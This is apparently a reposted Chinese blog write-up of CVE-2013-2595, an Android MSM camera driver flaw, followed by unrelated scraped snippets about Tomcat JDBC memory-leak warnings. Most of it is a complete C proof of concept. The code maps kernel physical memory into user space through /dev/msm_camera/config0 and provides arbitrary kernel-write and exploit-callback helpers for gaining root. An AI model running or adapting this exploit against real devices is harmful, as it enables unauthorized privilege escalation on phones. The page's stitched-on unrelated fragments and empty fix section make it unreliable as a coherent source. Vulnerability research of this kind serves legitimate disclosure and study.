Uncontrolled memory mapping in camera driver (CVE-2013-2595)

/*

本文章由 莫灰灰 编写,转载请注明出处。  

作者:莫灰灰    邮箱:
[email protected]

*/

1漏洞描述

漏洞的产生主要是因为摄像头驱动提供了几个用于用户空间调用的接口。用户空间可以使用诸如ioctl或者mmap这样的系统调用函数就能对摄像头驱动产生影响。黑客可以很容易的使用事先构造好的参数将物理内存map到用户空间,并提升权限。

2.影响设备

绝大多数使用2013年5月1日之前的Linux内核安卓系统

3.PoC

/*
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

#include <stdint.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/fb.h>
#include <string.h>

#include "msm_cameraconfig.h"

#define MSM_CAM_IOCTL_MAGIC 'm'

struct msm_mem_map_info {
    uint32_t cookie;
    uint32_t length;
    uint32_t mem_type;
};

#define MSM_CAM_IOCTL_SET_MEM_MAP_INFO         _IOR(MSM_CAM_IOCTL_MAGIC, 41, struct msm_mem_map_info *)

#define MSM_MEM_MMAP 0

#define KERNEL_VIRT_ADDRESS     0xc0000000
#define MAPPED_BASE             0x20000000
#define KERNEL_SIZE             0x02000000

static bool kernel_phys_offset_initialized = false;
static unsigned long kernel_phys_offset = 0;

static int
get_cpu_implementer(void)
{
  FILE *fp;
  char name[BUFSIZ];
  char value[BUFSIZ];
  int ret;
  long int implementer = 0;

  fp = fopen("/proc/cpuinfo", "r");
  if (!fp) {
    printf("Failed to open /proc/cpuinfo due to %s.", strerror(errno));
    return 0;
  }

  while ((ret = fscanf(fp, "%[^:]: %[^\n]\n", name, value)) != EOF) {
    if (!strncmp(name, "CPU implementer", 15)) {
      implementer = strtol(value, NULL, 16);
      break;
    }
  }
  fclose(fp);

  return implementer;
}

static unsigned long int
detect_kernel_phys_address_from_cpuinfo(void)
{
  int implementer;

  implementer = get_cpu_implementer();

  switch (implementer) {
  case 'Q':   // 0x51
    return 0x80200000;
  }
  return 0x80000000;
}

static unsigned long int
get_system_ram_address_from_iomem(void)
{
  FILE *fp;
  char name[BUFSIZ];
  void *start_address, *end_address;
  void *system_ram_address = NULL;
  int ret;

  fp = fopen("/proc/iomem", "r");
  if (!fp) {
    printf("Failed to open /proc/iomem due to %s.\n", strerror(errno));
    return false;
  }
  while ((ret = fscanf(fp, "%p-%p : %[^\n]", &start_address, &end_address, name)) != EOF) {
    if (!strcmp(name, "System RAM")) {
      system_ram_address = start_address;
      continue;
    }
    if (!strncmp(name, "Kernel", 6)) {
      break;
    }
  }
  fclose(fp);

  return (unsigned long int)system_ram_address;
}

static bool
detect_kernel_phys_parameters(void)
{
  unsigned long int system_ram_address;

  system_ram_address = get_system_ram_address_from_iomem();
  if (!system_ram_address) {
    system_ram_address = detect_kernel_phys_address_from_cpuinfo();
  }

  kernel_phys_offset_initialized = true;
  kernel_phys_offset = system_ram_address;

  return true;
}

void *
msm_cameraconfig_convert_to_mmaped_address(void *address, void *mmap_base_address)
{
  return mmap_base_address + (uint32_t)address - KERNEL_VIRT_ADDRESS;
}

bool
msm_cameraconfig_write_value_at_address(unsigned long int address, int value)
{
  void *mmap_address = NULL;
  int *write_address;
  int fd_video;
  int fd_config;

  mmap_address = msm_cameraconfig_mmap(&fd_video, &fd_config);
  if (mmap_address == MAP_FAILED) {
    return false;
  }

  write_address = msm_cameraconfig_convert_to_mmaped_address((void*)address, mmap_address);
  *write_address = value;

  msm_cameraconfig_munmap(mmap_address, fd_video, fd_config);

  return true;
}

bool
msm_cameraconfig_run_exploit(bool(*exploit_callback)(void *mmap_base_address, void *user_data),
                   void *user_data)
{
  void *mapped_address = NULL;
  int fd_video;
  int fd_config;
  bool success;

  mapped_address = msm_cameraconfig_mmap(&fd_video, &fd_config);
  if (mapped_address == MAP_FAILED) {
    return false;
  }

  success = exploit_callback(mapped_address, user_data);

  msm_cameraconfig_munmap(mapped_address, fd_video, fd_config);

  return success;
}

void
msm_cameraconfig_set_kernel_phys_offset(int offset)
{
  kernel_phys_offset_initialized = true;
  kernel_phys_offset = offset;
}

void *
msm_cameraconfig_mmap(int *fd_video, int *fd_config)
{
  struct msm_mem_map_info args;
  void *mapped_address;

  if (!kernel_phys_offset_initialized && !detect_kernel_phys_parameters()) {
     printf("This machine can not use msm_cameraconfig exploit.\n");
     return MAP_FAILED;
  }

  *fd_video = open("/dev/video0", O_RDWR);
  if (*fd_video < 0) {
    goto error_exit;
  }

  *fd_config = open("/dev/msm_camera/config0", O_RDWR);
  if (*fd_config < 0) {
    goto error_exit;
  }

  args.cookie = kernel_phys_offset;
  args.length = KERNEL_SIZE;
  args.mem_type = MSM_MEM_MMAP;

  if (ioctl(*fd_config, MSM_CAM_IOCTL_SET_MEM_MAP_INFO, &args) < 0) {
    goto error_exit;
  }

  mapped_address = mmap((void *)MAPPED_BASE, KERNEL_SIZE, PROT_READ | PROT_WRITE,
                        MAP_SHARED, *fd_config, kernel_phys_offset);

  if (mapped_address == MAP_FAILED) {
    goto error_exit;
  }

  return mapped_address;

error_exit:
  if (*fd_config >= 0) {
    close(*fd_config);
    *fd_config = -1;
  }

  if (*fd_video >= 0) {
    close(*fd_video);
    *fd_video = -1;
  }

  return MAP_FAILED;
}

int
msm_cameraconfig_munmap(void *address, int fd_video, int fd_config)
{
  if (address != MAP_FAILED) {
    int ret;

    ret = munmap(address, KERNEL_SIZE);
    if (ret < 0) {
      printf("Failed to munmap due to %s\n", strerror(errno));
      return ret;
    }
  }

  close(fd_config);
  close(fd_video);

  return 0;
}

4.漏洞修复

5.总结

1.漏洞的利用其实和Root exploit on Exynos(CVE-2012-6422)差不多,只是map物理内存的方法不同罢了。

2.其次,这个漏洞的补丁也很奇特,只是简单的把相关漏洞代码删掉了。估计是胡乱抄代码模板导致的漏洞,哈哈。

Uncontrolled memory mapping in camera driver (CVE-2013-2595)

时间: 2024-11-05 16:33:11

Uncontrolled memory mapping in camera driver (CVE-2013-2595)的相关文章

To prevent a memory leak, the JDBC Driver has been forcibly unregistered.

1.错误描述 严重: The web application [/AMST] registered the JDBC driver [org.logicalcobwebs.proxool.ProxoolDriver] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered. 八

Tomcat出现To prevent a memory leak, the JDBC Driver has been forcibly unregistered.问题的一种情况记录

问题出现背景: 最近重构了一个老的项目,这个项目中间曾经参与维护的人比较多,代码非常乱,所以对其进行了一次小的重构和升级,将系统环境从JDK1.6+Tomcat6+WindowsServer升级JDK1.8+Tomcat8+Linux,但是重构完成的时候出现了错误,Tomcat一直无法启动. 错误信息 To prevent a memory leak, the JDBC Driver has been forcibly unregistered. 这个错误: 参考的资料 参考了stack ove

解决:The web application [] registered the JDBC driver [] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.

问题描述 在将Spring Boot程序打包生成的war包部署到Tomcat后,启动Tomcat时总是报错,但是直接在IDEA中启动Application或者用"java -jar"方式运行jar包时都能正常运行.报错信息如下: To prevent a memory leak, the JDBC Driver has been forcibly unregistered. (为了防止内存泄漏,已强制注销JDBC驱动程序.) 开发环境 Spring Boot + MySql + Spr

Tomcat运行一段时间后,自动停止关闭,To prevent a memory leak,Druid 数据库连接自动关闭, the JDBC Driver has been forcibly unregistered.

1. Tomcat 错误日志 tail -100f tomcat9/logs/catalina.out 21-Sep-2017 23:05:39.301 INFO [Thread-5] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["ajp-nio-8809"]21-Sep-2017 23:05:39.352 INFO [Thread-5] org.apache.catalina.core.Stand

Super Memory &amp; Reading Skills

Super Memory & Reading Skills 341views Zaid Ali Alsagoff (91 SlideShares) , e-Learning Manager at IMU Keynote Author Follow 0 16 7 0 Published on Apr 15, 2015 In this workshop at IMU (16/04/2015), we will explore various techniques to stimulate and e

spring3+struts2+hibernate3整合出现的问题,No mapping found for dependency [type=java.lang.String, name=&#39;struts.objectFactory.spring.enableAopSupport&#39;]

七月 11, 2016 3:49:24 下午 org.apache.tomcat.util.digester.SetPropertiesRule begin警告: [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property 'source' to 'org.eclipse.jst.jee.server:EBook' did not find a matching property.七月 11, 2016 3:4

Driver Porting and Configuration for A20

Driver Porting and Configuration Porting I/O Control Driver The I/O control driver is built as a module, can be used for controlling common peripherals, such as LED, push button, buzzer. Copy io_control_dev to your ubuntu system, compile it with your

V4L2用户空间和kernel层driver的交互过程

V4L2用户空间和kernel层driver的交互过程 这篇文章详细分析了V4L2用户空间和kernel层driver的交互过程,目的只有一个: 更清晰的理解V4L2视频驱动程序的系统结构,驱动编程方法,为以后开发视频驱动打好基础 既然从用户层出发探究驱动层,这里先贴出应用层code: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include

tomcat启动过程报the JDBC Driver has been forcibly unregistered问题的修复过程

最近两天在整理关于flume的总结文档,没有启动过tomcat.昨天晚上部署启动,发现报了如题的错误,全文如下: 严重: The web application [/oa-deploy] registered the JBDC driver [com.microsoft.sqlserver.jdbc.SQLServerDriver] but failed to unregister it when the web application was stopped. To prevent a mem